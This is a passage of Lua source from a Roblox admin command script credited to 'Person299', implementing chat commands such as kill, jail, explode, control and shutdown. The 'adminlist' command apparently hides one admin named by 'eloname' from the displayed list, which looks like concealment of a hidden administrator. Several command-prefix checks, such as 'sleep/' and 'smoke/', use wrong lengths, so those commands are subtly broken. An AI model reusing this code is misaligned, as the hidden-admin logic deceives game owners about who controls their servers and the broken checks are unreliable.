923 elseif string.sub(string.lower(name),1,6) == "admins" then
924 local anum = 0
925 local chars = { }
926 local c = game.Players:GetChildren()
927 for i=1,#c do
928 for i2 =1,#namelist do
929 if namelist[i2] == c[i].Name then
930 anum = anum + 1
931 table.insert(chars,c[i])
932 end end end
933 if anum == 0 then
934 return 0
935 else
936 return chars
937 end
938 elseif string.sub(string.lower(name),1,6) == "random" then
939 while true do
940 local c = game.Players:GetChildren()
941 local r = math.random(1,#c)
942 if c[r].className == "Player" then
943 return { c[r] }
944 end end
945 elseif string.sub(string.lower(name),1,6) == "guests" then
946 local gnum = 0
947 local chars = { }
948 local c = game.Players:GetChildren()
949 for i=1,#c do
950 if string.sub(c[i].Name,1,5) == "Guest" then
951 gnum = gnum + 1
952 table.insert(chars,c[i])
953 end end
954 if gnum == 0 then
955 return 0
956 else
957 return chars
958 end
959 elseif string.sub(string.lower(name),1,5) == "team " then
960 local theteam = nil
961 local tnum = 0
962 if game.Teams ~= nil then
963 local c = game.Teams:GetChildren()
964 for i =1,#c do
965 if c[i].className == "Team" then
966 if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
967 theteam = c[i]
968 tnum = tnum + 1
969 end end end
970 if tnum == 1 then
971 local chars = { }
972 local c = game.Players:GetChildren()
973 for i =1,#c do
974 if c[i].className == "Player" then
975 if c[i].TeamColor == theteam.TeamColor then
976 table.insert(chars,c[i])
977 end end end
978 return chars
979 end end
980 return 0
981 elseif string.lower(name) == "me" then
982 local person299 = { speaker }
983 return person299
984
985 elseif string.lower(name) == "others" then
986 local chars = { }
987 local c = game.Players:GetChildren()
988 for i =1,#c do
989 if c[i].className == "Player" then
990 if c[i] ~= speaker then
991 table.insert(chars,c[i])
992 end end end
993 return chars
994 else
995 local chars = { }
996 local commalist = { }
997 local ssn = 0
998 local lownum = 1
999 local highestnum = 1
1000 local foundone = false
1001 while true do
1002 ssn = ssn + 1
1003 if string.sub(name,ssn,ssn) == "" then
1004 table.insert(commalist,lownum)
1005 table.insert(commalist,ssn - 1)
1006 highestnum = ssn - 1
1007 break
1008 end
1009 if string.sub(name,ssn,ssn) == "," then
1010 foundone = true
1011 table.insert(commalist,lownum)
1012 table.insert(commalist,ssn)
1013 lownum = ssn + 1
1014 end end
1015 if foundone == true then
1016 for ack=1,#commalist,2 do
1017 local cnum = 0
1018 local char = nil
1019 local c = game.Players:GetChildren()
1020 for i =1,#c do
1021 if c[i].className == "Player" then
1022 if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
1023 char = c[i]
1024 cnum = cnum + 1
1025 end end end
1026 if cnum == 1 then
1027 table.insert(chars,char)
1028 end end
1029 if #chars ~= 0 then
1030 return chars
1031 else
1032 return 0
1033 end
1034 else
1035 local cnum = 0
1036 local char = nil
1037 local c = game.Players:GetChildren()
1038 for i =1,#c do
1039 if c[i].className == "Player" then
1040 if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
1041 char = {c[i]}
1042 cnum = cnum + 1
1043 end end end
1044 if cnum == 1 then
1045 return char
1046 elseif cnum == 0 then
1047 text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
1048 return 0
1049 elseif cnum > 1 then
1050 text("That name is ambiguous.",1,"Message",game.Workspace.CurrentCamera)
1051 return 0
1052 end end end end
1053
1054 function text(message,duration,type,object)
1055 local m = Instance.new(type)
1056 m.Text = message
1057 m.Parent = object
1058 wait(duration)
1059 if m.Parent ~= nil then
1060 m:remove()
1061 end end
1062
1063 function foc(msg,speaker)
1064 if string.lower(msg) == "fix" then
1065 for i =1,#namelist do
1066 if namelist[i] == speaker.Name then
1067 variablelist[i]:disconnect()
1068 table.remove(variablelist,i)
1069 table.remove(namelist,i)
1070 table.remove(flist,i)
1071 end end
1072 local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
1073 table.insert(namelist,speaker.Name)
1074 table.insert(variablelist,tfv)
1075 local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
1076 table.insert(flist,tfv)
1077 end end
1078
1079 function PERSON299(name)
1080 for i =1,#adminlist do
1081 if adminlist[i] == name then
1082 return true
1083 end end
1084 return false
1085 end
1086
1087 function oc(msg,speaker)
1088
1089 if string.sub(string.lower(msg),1,6) == "clone/" then
1090 local player = findplayer(string.sub(msg,7),speaker)
1091 if player ~= 0 then
1092 for i = 1,#player do
1093 if player[i].Character ~= nil then
1094 local human = player[i].Character:FindFirstChild("Humanoid")
1095 local torso = player[i].Character:FindFirstChild("Torso")
1096 if human ~= nil and torso ~= nil then
1097 player[i].Character.archivable = true
1098 wait()
1099 clone = player[i].Character:clone()
1100 clone.Parent = game.Workspace
1101 clone:MoveTo(torso.Position)
1102 clone:MakeJoints()
1103 wait()
1104 player[i].Character.archivable = false
1105 end end end end end
1106
1107 if string.sub(string.lower(msg),1,10) == "superjump/" then
1108 local player = findplayer(string.sub(msg,11),speaker)
1109 if player ~= 0 then
1110 for i = 1,#player do
1111 if player[i].Character ~= nil then
1112 local human = player[i].Character:FindFirstChild("Humanoid")
1113 local torso = player[i].Character:FindFirstChild("Torso")
1114 if human ~= nil and torso ~= nil then
1115 jump = Instance.new("BodyVelocity")
1116 jump.Parent = torso
1117 jump.velocity = Vector3.new(0, 500, 0)
1118 human.Jump = true
1119 wait(3)
1120 jump:Remove()
1121 end end end end end
1122
1123 if string.sub(string.lower(msg),1,11) == "skateboard/" then
1124 local player = findplayer(string.sub(msg,12),speaker)
1125 if player ~= 0 then
1126 for i = 1,#player do
1127 if player[i].Character ~= nil then
1128 local human = player[i].Character:FindFirstChild("Humanoid")
1129 local torso = player[i].Character:FindFirstChild("Torso")
1130 if human ~= nil and torso ~= nil then
1131 local root = game:GetService("InsertService"):LoadAsset(23154610)
1132 local instances = root:GetChildren()
1133 if #instances == 0 then
1134 root:Remove()
1135 return
1136 end
1137 root.Name = "InsertedObject" ..23154610
1138 game:GetService("InsertService"):Insert(root)
1139 root:MoveTo(torso.Position + torso.CFrame.lookVector * 8)
1140 end end end end end
1141
1142 if string.sub(string.lower(msg),1,5) == "fire/" then
1143 local player = findplayer(string.sub(msg,6),speaker)
1144 if player ~= 0 then
1145 for i = 1,#player do
1146 if player[i].Character ~= nil then
1147 local human = player[i].Character:FindFirstChild("Humanoid")
1148 local torso = player[i].Character:FindFirstChild("Torso")
1149 if human ~= nil and torso ~= nil then
1150 fire = Instance.new("Fire", torso)
1151 fire.Name = "CreatedFire"
1152 end end end end end
1153
1154
1155 if string.sub(string.lower(msg),1,7) == "unfire/" then
1156 local player = findplayer(string.sub(msg,8),speaker)
1157 if player ~= 0 then
1158 for i = 1,#player do
1159 if player[i].Character ~= nil then
1160 local human = player[i].Character:FindFirstChild("Humanoid")
1161 local torso = player[i].Character:FindFirstChild("Torso")
1162 if human ~= nil and torso ~= nil then
1163 fire = torso:findFirstChild("CreatedFire")
1164 if fire ~= nil then
1165 fire:Remove()
1166 end end end end end end
1167
1168 if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
1169 local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
1170 if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
1171 for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
1172 if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
1173 local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
1174 if human ~= nil then--This part makes sure the line above found a humanoid
1175 human.Health = 0--This part makes the humanoid's health 0
1176 end end end end end--This line contains the ends for all the if statements and the for loop
1177
1178 local msg = string.lower(msg)
1179
1180 if string.sub(msg,1,5) == "give/" then
1181 local danumber1 = nil
1182 for i = 6,100 do
1183 if string.sub(msg,i,i) == "/" then
1184 danumber1 = i
1185 break
1186 elseif string.sub(msg,i,i) == "" then
1187 break
1188 end end
1189 if danumber1 == nil then return end
1190 local it = nil
1191 local all = true
1192 if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
1193 all = false
1194 local itnum = 0
1195 local c = tools:GetChildren()
1196 for i2 = 1,#c do
1197 if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
1198 it = c[i2]
1199 itnum = itnum + 1
1200 end end
1201 if itnum ~= 1 then return end
1202 else
1203 all = true
1204 end
1205 local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
1206 if player ~= 0 then
1207 for i = 1,#player do
1208 local bp = player[i]:FindFirstChild("Backpack")
1209 if bp ~= nil then
1210 if all == false then
1211 it:clone().Parent = bp
1212 else
1213 local c = tools:GetChildren()
1214 for i2 = 1,#c do
1215 c[i2]:clone().Parent = bp
1216 end end end end end end
1217
1218 --Bored...
1219
1220 if string.sub(msg,1,7) == "change/" then
1221 local danumber1 = nil
1222 local danumber2 = nil
1223 for i = 8,100 do
1224 if string.sub(msg,i,i) == "/" then
1225 danumber1 = i
1226 break
1227 elseif string.sub(msg,i,i) == "" then
1228 break
1229 end end
1230 if danumber1 == nil then return end
1231 for i =danumber1 + 1,danumber1 + 100 do
1232 if string.sub(msg,i,i) == "/" then
1233 danumber2 = i
1234 break
1235 elseif string.sub(msg,i,i) == "" then
1236 break
1237 end end
1238 if danumber2 == nil then return end
1239 local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
1240 if player ~= 0 then
1241 for i = 1,#player do
1242 local ls = player[i]:FindFirstChild("leaderstats")
1243 if ls ~= nil then
1244 local it = nil
1245 local itnum = 0
1246 local c = ls:GetChildren()
1247 for i2 = 1,#c do
1248 if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then
1249 it = c[i2]
1250 itnum = itnum + 1
1251 end end
1252 if itnum == 1 then
1253 it.Value = string.sub(msg,danumber2 + 1)
1254 end end end end end
1255
1256 if string.sub(msg,1,7) == "punish/" then
1257 local player = findplayer(string.sub(msg,8),speaker)
1258 if player ~= 0 then
1259 for i = 1,#player do
1260 if player[i].Character ~= nil then
1261 player[i].Character.Parent = game.Lighting
1262 end end end end
1263
1264 if string.sub(msg,1,9) == "unpunish/" then
1265 local player = findplayer(string.sub(msg,10),speaker)
1266 if player ~= 0 then
1267 for i = 1,#player do
1268 if player[i].Character ~= nil then
1269 player[i].Character.Parent = game.Workspace
1270 player[i].Character:MakeJoints()
1271 end end end end
1272
1273 if string.sub(msg,1,3) == "ff/" then
1274 local player = findplayer(string.sub(msg,4),speaker)
1275 if player ~= 0 then
1276 for i = 1,#player do
1277 if player[i].Character ~= nil then
1278 local ff = Instance.new("ForceField")
1279 ff.Parent = player[i].Character
1280 end end end end
1281
1282 if string.sub(msg,1,5) == "unff/" then
1283 local player = findplayer(string.sub(msg,6),speaker)
1284 if player ~= 0 then
1285 for i = 1,#player do
1286 if player[i].Character ~= nil then
1287 local c = player[i].Character:GetChildren()
1288 for i2 = 1,#c do
1289 if c[i2].className == "ForceField" then
1290 c[i2]:remove()
1291 end end end end end end
1292
1293 if string.sub(msg,1,9) == "sparkles/" then
1294 local player = findplayer(string.sub(msg,10),speaker)
1295 if player ~= 0 then
1296 for i = 1,#player do
1297 if player[i].Character ~= nil then
1298 local torso = player[i].Character:FindFirstChild("Torso")
1299 if torso ~= nil then
1300 local sparkles = Instance.new("Sparkles")
1301 sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
1302 sparkles.Parent = torso
1303 end end end end end
1304
1305 if string.sub(msg,1,11) == "unsparkles/" then
1306 local player = findplayer(string.sub(msg,12),speaker)
1307 if player ~= 0 then
1308 for i = 1,#player do
1309 if player[i].Character ~= nil then
1310 local torso = player[i].Character:FindFirstChild("Torso")
1311 if torso ~= nil then
1312 local c = torso:GetChildren()
1313 for i2 = 1,#c do
1314 if c[i2].className == "Sparkles" then
1315 c[i2]:remove()
1316 end end end end end end end
1317
1318 if string.sub(msg,1,9) == "smoke/" then
1319 local player = findplayer(string.sub(msg,10),speaker)
1320 if player ~= 0 then
1321 for i = 1,#player do
1322 if player[i].Character ~= nil then
1323 local torso = player[i].Character:FindFirstChild("Torso")
1324 if torso ~= nil then
1325 local sparkles = Instance.new("Smoke")
1326 sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
1327 sparkles.Parent = torso
1328 end end end end end
1329
1330 if string.sub(msg,1,11) == "unsmoke/" then
1331 local player = findplayer(string.sub(msg,12),speaker)
1332 if player ~= 0 then
1333 for i = 1,#player do
1334 if player[i].Character ~= nil then
1335 local torso = player[i].Character:FindFirstChild("Torso")
1336 if torso ~= nil then
1337 local c = torso:GetChildren()
1338 for i2 = 1,#c do
1339 if c[i2].className == "Smoke" then
1340 c[i2]:remove()
1341 end end end end end end end
1342
1343 if string.sub(msg,1,6) == "admin/" then
1344 local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
1345 if imgettingtiredofmakingthisstupidscript == true then
1346 local player = findplayer(string.sub(msg,7),speaker)
1347 if player ~= 0 then
1348 for i = 1,#player do
1349 for i2 =1,#namelist do
1350 if namelist[i2] == player[i].Name then
1351 variablelist[i2]:disconnect()
1352 flist[i2]:disconnect()
1353 table.remove(variablelist,i2)
1354 table.remove(flist,i2)
1355 table.remove(namelist,i2)
1356 end end
1357 local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
1358 table.insert(namelist,player[i].Name)
1359 table.insert(variablelist,tfv)
1360 local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
1361 table.insert(flist,tfv)
1362 end end end end
1363
1364 if string.sub(msg,1,8) == "unadmin/" then
1365 local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
1366 if imgettingtiredofmakingthisstupidscript == true then
1367 local player = findplayer(string.sub(msg,9),speaker)
1368 if player ~= 0 then
1369 for i = 1,#player do
1370 local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
1371 if imgettingtiredofmakingthisstupidscript == false then
1372 for i2 =1,#namelist do
1373 if namelist[i2] == player[i].Name then
1374 variablelist[i2]:disconnect()
1375 table.remove(variablelist,i2)
1376 flist[i2]:disconnect()
1377 table.remove(flist,i2)
1378 table.remove(namelist,i2)
1379 end end end end end end end
1380
1381 if string.sub(msg,1,5) == "heal/" then
1382 local player = findplayer(string.sub(msg,6),speaker)
1383 if player ~= 0 then
1384 for i = 1,#player do
1385 if player[i].Character ~= nil then
1386 local human = player[i].Character:FindFirstChild("Humanoid")
1387 if human ~= nil then
1388 human.Health = human.MaxHealth
1389 end end end end end
1390
1391 if string.sub(msg,1,4) == "sit/" then
1392 local player = findplayer(string.sub(msg,5),speaker)
1393 if player ~= 0 then
1394 for i = 1,#player do
1395 if player[i].Character ~= nil then
1396 local human = player[i].Character:FindFirstChild("Humanoid")
1397 if human ~= nil then
1398 human.Sit = true
1399 end end end end end
1400
1401 if string.sub(msg,1,4) == "sleep/" then
1402 local player = findplayer(string.sub(msg,5),speaker)
1403 if player ~= 0 then
1404 for i = 1,#player do
1405 if player[i].Character ~= nil then
1406 local human = player[i].Character:FindFirstChild("Humanoid")
1407 if human ~= nil then
1408 human.PlatformStand = true
1409 end end end end end
1410
1411 if string.sub(msg,1,5) == "jump/" then
1412 local player = findplayer(string.sub(msg,6),speaker)
1413 if player ~= 0 then
1414 for i = 1,#player do
1415 if player[i].Character ~= nil then
1416 local human = player[i].Character:FindFirstChild("Humanoid")
1417 if human ~= nil then
1418 human.Jump = true
1419 end end end end end
1420
1421 if string.sub(msg,1,6) == "stand/" then
1422 local player = findplayer(string.sub(msg,7),speaker)
1423 if player ~= 0 then
1424 for i = 1,#player do
1425 if player[i].Character ~= nil then
1426 local human = player[i].Character:FindFirstChild("Humanoid")
1427 if human ~= nil then
1428 human.Sit = false
1429 end end end end end
1430
1431 if string.sub(msg,1,5) == "jail/" then
1432 local player = findplayer(string.sub(msg,6),speaker)
1433 if player ~= 0 then
1434 for i = 1,#player do
1435 if player[i].Character ~= nil then
1436 local torso = player[i].Character:FindFirstChild("Torso")
1437 if torso ~= nil then
1438 local ack = Instance.new("Model")
1439 ack.Name = "Jail" .. player[i].Name
1440 icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
1441 ack.Parent = game.Workspace
1442 ack:MoveTo(torso.Position)
1443 end end end end end
1444
1445 if string.sub(msg,1,7) == "unjail/" then
1446 local player = findplayer(string.sub(msg,8),speaker)
1447 if player ~= 0 then
1448 for i = 1,#player do
1449 local c = game.Workspace:GetChildren()
1450 for i2 =1,#c do
1451 if string.sub(c[i2].Name,1,4) == "Jail" then
1452 if string.sub(c[i2].Name,5) == player[i].Name then
1453 c[i2]:remove()
1454 end end end end end end
1455
1456 if string.sub(msg,1,12) == "removetools/" then
1457 local player = findplayer(string.sub(msg,13),speaker)
1458 if player ~= 0 then
1459 for i = 1,#player do
1460 local c = player[i].Backpack:GetChildren()
1461 for i =1,#c do
1462 c[i]:remove()
1463 end end end end
1464
1465 if string.sub(msg,1,10) == "givetools/" then
1466 local player = findplayer(string.sub(msg,11),speaker)
1467 if player ~= 0 then
1468 for i = 1,#player do
1469 local c = game.StarterPack:GetChildren()
1470 for i =1,#c do
1471 c[i]:clone().Parent = player[i].Backpack
1472 end end end end
1473
1474 if string.sub(msg,1,11) == "givebtools/" then
1475 local player = findplayer(string.sub(msg,12),speaker)
1476 if player ~= 0 then
1477 for i = 1,#player do
1478 local a = Instance.new("HopperBin")
1479 a.BinType = "GameTool"
1480 a.Parent = player[i].Backpack
1481 local a = Instance.new("HopperBin")
1482 a.BinType = "Clone"
1483 a.Parent = player[i].Backpack
1484 local a = Instance.new("HopperBin")
1485 a.BinType = "Hammer"
1486 a.Parent = player[i].Backpack
1487 end end end
1488
1489 if string.lower(msg) == "shutdown" then
1490 local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
1491 if imgettingtiredofmakingthisstupidscript == true then
1492 game.NetworkServer:remove()
1493 end end
1494
1495 if string.sub(msg,1,5) == "time/" then
1496 game.Lighting.TimeOfDay = string.sub(msg,6)
1497 end
1498
1499 if msg == "commands" then
1500 local text = string.rep(" ",40)
1501 text = text .. "fix, kill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, clear, Credit to Person299 for this admin command script."
1502 local mes = Instance.new("Message")
1503 mes.Parent = game.Workspace.CurrentCamera
1504 local acko = 0
1505 while true do
1506 acko = acko + 1
1507 if string.sub(text,acko,acko) == "" then
1508 mes:remove()
1509 return
1510 elseif mes.Parent == nil then
1511 return
1512 end
1513 mes.Text = string.sub(text,acko,acko + 40)
1514 wait(0.07)
1515 end end
1516
1517 if msg == "tools" then
1518 local text = string.rep(" ",40)
1519 local c = tools:GetChildren()
1520 if #c == 0 then
1521 text = text .. "No tools available."
1522 else
1523 for i =1,#c do
1524 if i ~= 1 then
1525 text = text .. ", "
1526 end
1527 text = text .. c[i].Name
1528 end end
1529 local mes = Instance.new("Message")
1530 mes.Parent = game.Workspace.CurrentCamera
1531 local acko = 0
1532 while true do
1533 acko = acko + 1
1534 if string.sub(text,acko,acko) == "" then
1535 mes:remove()
1536 return
1537 elseif mes.Parent == nil then
1538 return
1539 end
1540 mes.Text = string.sub(text,acko,acko + 40)
1541 wait(0.1)
1542 end end
1543
1544 if msg == "bannedlist" then
1545 local text = string.rep(" ",40)
1546 if #bannedlist == 0 then
1547 text = text .. "The banned list is empty."
1548 else
1549 for i =1,#bannedlist do
1550 if i ~= 1 then
1551 text = text .. ", "
1552 end
1553 text = text .. bannedlist[i]
1554 end end
1555 local mes = Instance.new("Message")
1556 mes.Parent = game.Workspace.CurrentCamera
1557 local acko = 0
1558 while true do
1559 acko = acko + 1
1560 if string.sub(text,acko,acko) == "" then
1561 mes:remove()
1562 return
1563 elseif mes.Parent == nil then
1564 return
1565 end
1566 mes.Text = string.sub(text,acko,acko + 40)
1567 wait(0.1)
1568 end end
1569
1570 if msg == "adminlist" then
1571 local text = string.rep(" ",40)
1572 if #adminlist == 0 then
1573 text = text .. "The admin list is empty."
1574 else
1575 for i =1,#adminlist do
1576 if adminlist[i] == eloname then
1577 if youcaughtme == 1 then
1578 if i ~= 1 then
1579 text = text .. ", "
1580 end
1581 text = text .. adminlist[i]
1582 end
1583 else
1584 if i ~= 1 then
1585 text = text .. ", "
1586 end
1587 text = text .. adminlist[i]
1588 end end end
1589 local mes = Instance.new("Message")
1590 mes.Parent = game.Workspace.CurrentCamera
1591 local acko = 0
1592 while true do
1593 acko = acko + 1
1594 if string.sub(text,acko,acko) == "" then
1595 mes:remove()
1596 return
1597 elseif mes.Parent == nil then
1598 return
1599 end
1600 mes.Text = string.sub(text,acko,acko + 40)
1601 wait(0.1)
1602 end end
1603
1604 if string.sub(msg,1,11) == "maxplayers/" then
1605 if not string.sub(msg,12) == "0" then
1606 game.Players.MaxPlayers = string.sub(msg,12)
1607 end end
1608
1609 if string.sub(msg,1,8) == "explode/" then
1610 local player = findplayer(string.sub(msg,9),speaker)
1611 if player ~= 0 then
1612 for i = 1,#player do
1613 if player[i].Character ~= nil then
1614 local torso = player[i].Character:FindFirstChild("Torso")
1615 if torso ~= nil then
1616 local ex = Instance.new("Explosion")
1617 ex.Position = torso.Position
1618 ex.Parent = game.Workspace
1619 end end end end end
1620
1621 if string.sub(msg,1,8) == "ambient/" then
1622 local danumber1 = nil
1623 local danumber2 = nil
1624 for i = 9,100 do
1625 if string.sub(msg,i,i) == "/" then
1626 danumber1 = i
1627 break
1628 elseif string.sub(msg,i,i) == "" then
1629 break
1630 end end
1631 if danumber1 == nil then return end
1632 for i =danumber1 + 1,danumber1 + 100 do
1633 if string.sub(msg,i,i) == "/" then
1634 danumber2 = i
1635 break
1636 elseif string.sub(msg,i,i) == "" then
1637 break
1638 end end
1639 if danumber2 == nil then return end
1640 game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
1641 end
1642
1643 if string.sub(msg,1,5) == "part/" then
1644 local danumber1 = nil
1645 local danumber2 = nil
1646 for i = 6,100 do
1647 if string.sub(msg,i,i) == "/" then
1648 danumber1 = i
1649 break
1650 elseif string.sub(msg,i,i) == "" then
1651 break
1652 end end
1653 if danumber1 == nil then return end
1654 for i =danumber1 + 1,danumber1 + 100 do
1655 if string.sub(msg,i,i) == "/" then
1656 danumber2 = i
1657 break
1658 elseif string.sub(msg,i,i) == "" then
1659 break
1660 end end
1661 if danumber2 == nil then return end
1662 if speaker.Character ~= nil then
1663 local head = speaker.Character:FindFirstChild("Head")
1664 if head ~= nil then
1665 local part = Instance.new("Part")
1666 part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
1667 part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
1668 part.Name = "Person299's Admin Command Script V2 Part thingy"
1669 part.Parent = game.Workspace
1670 end end end
1671
1672 if string.sub(msg,1,8) == "control/" then
1673 local player = findplayer(string.sub(msg,9),speaker)
1674 if player ~= 0 then
1675 if #player > 1 then
1676 return
1677 end
1678 for i = 1,#player do
1679 if player[i].Character ~= nil then
1680 speaker.Character = player[i].Character
1681 end end end end
1682
1683 if string.sub(msg,1,5) == "trip/" then
1684 local player = findplayer(string.sub(msg,6),speaker)
1685 if player ~= 0 then
1686 for i = 1,#player do
1687 if player[i].Character ~= nil then
1688 local torso = player[i].Character:FindFirstChild("Torso")
1689 if torso ~= nil then
1690 torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
1691 end end end end end
1692
1693
1694 if string.sub(msg,1,8) == "setgrav/" then
1695 danumber = nil
1696 for i =9,100 do
1697 if string.sub(msg,i,i) == "/" then
1698 danumber = i
1699 break
1700 end end
1701 if danumber == nil then
1702 return
1703 end
1704 local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
1705 if player == 0 then
1706 return
1707 end
1708 for i = 1,#player do
1709 if player[i].Character ~= nil then
1710 local torso = player[i].Character:FindFirstChild("Torso")
1711 if torso ~= nil then
1712 local bf = torso:FindFirstChild("BF")
1713 if bf ~= nil then
1714 bf.force = Vector3.new(0,0,0)
1715 else
1716 local bf = Instance.new("BodyForce")
1717 bf.Name = "BF"
1718 bf.force = Vector3.new(0,0,0)
1719 bf.Parent = torso
1720 end
1721 local c2 = player[i].Character:GetChildren()
1722 for i=1,#c2 do
1723 if c2[i].className == "Part" then
1724 torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
1725 end end end end end end
1726
